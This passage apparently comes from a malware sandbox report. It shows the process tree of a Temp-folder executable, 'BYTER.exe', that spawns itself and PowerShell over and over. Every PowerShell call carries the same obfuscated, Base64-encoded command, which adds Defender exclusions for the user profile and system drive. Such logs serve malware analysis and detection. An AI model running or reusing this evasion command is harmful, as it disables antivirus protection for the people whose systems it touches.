        PID:3608
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        21⤵
        
        PID:1460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        22⤵
        
        PID:4708
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        22⤵
        
        PID:6120
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        23⤵
        
        PID:1852
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        23⤵
        
        PID:5144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        24⤵
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        24⤵
        
        PID:5348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        25⤵
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        25⤵
        
        PID:6232
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        26⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        26⤵
        
        PID:6500
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        27⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        27⤵
        
        PID:6816
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        28⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        28⤵
        
        PID:7164
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        29⤵
        
        PID:4828
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        29⤵
        
        PID:4472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        30⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        30⤵
        
        PID:6660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        31⤵
        
        PID:1316
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        31⤵
        
        PID:6588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        32⤵
        
        PID:5656
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        32⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        33⤵
        
        PID:2508
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        33⤵
        
        PID:1060
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        34⤵
        
        PID:2960
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        34⤵
        
        PID:4472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        35⤵
        
        PID:6184
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        35⤵
        
        PID:4992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        36⤵
        
        PID:4556
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        37⤵
        
        PID:864
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        36⤵
        
        PID:2596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        37⤵
        
        PID:6368
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        37⤵
        
        PID:4864
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        38⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        38⤵
        
        PID:7112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        39⤵
        
        PID:5548
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        39⤵
        
        PID:5948
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        40⤵
        
        PID:4992
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        40⤵
        
        PID:4972
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        41⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        41⤵
        
        PID:5804
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        42⤵
        
        PID:3016
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        42⤵
        
        PID:5192
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        43⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        43⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        44⤵
        
        PID:6772
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        44⤵
        
        PID:1524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        45⤵
        
        PID:1212
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        45⤵
        
        PID:572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        46⤵
        
        PID:6048
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        46⤵
        
        PID:4488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        47⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        47⤵
        
        PID:4880
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        48⤵
        
        PID:7028
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        48⤵
        
        PID:5524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        49⤵
        
        PID:6972
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        49⤵
        
        PID:3912
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        50⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        50⤵
        
        PID:6180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        51⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        51⤵
        
        PID:2580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        52⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        52⤵
        
        PID:6272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        53⤵
        
        PID:5148
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        54⤵
        
        PID:3424
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        53⤵
        
        PID:2180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        54⤵
        
        PID:4336
        
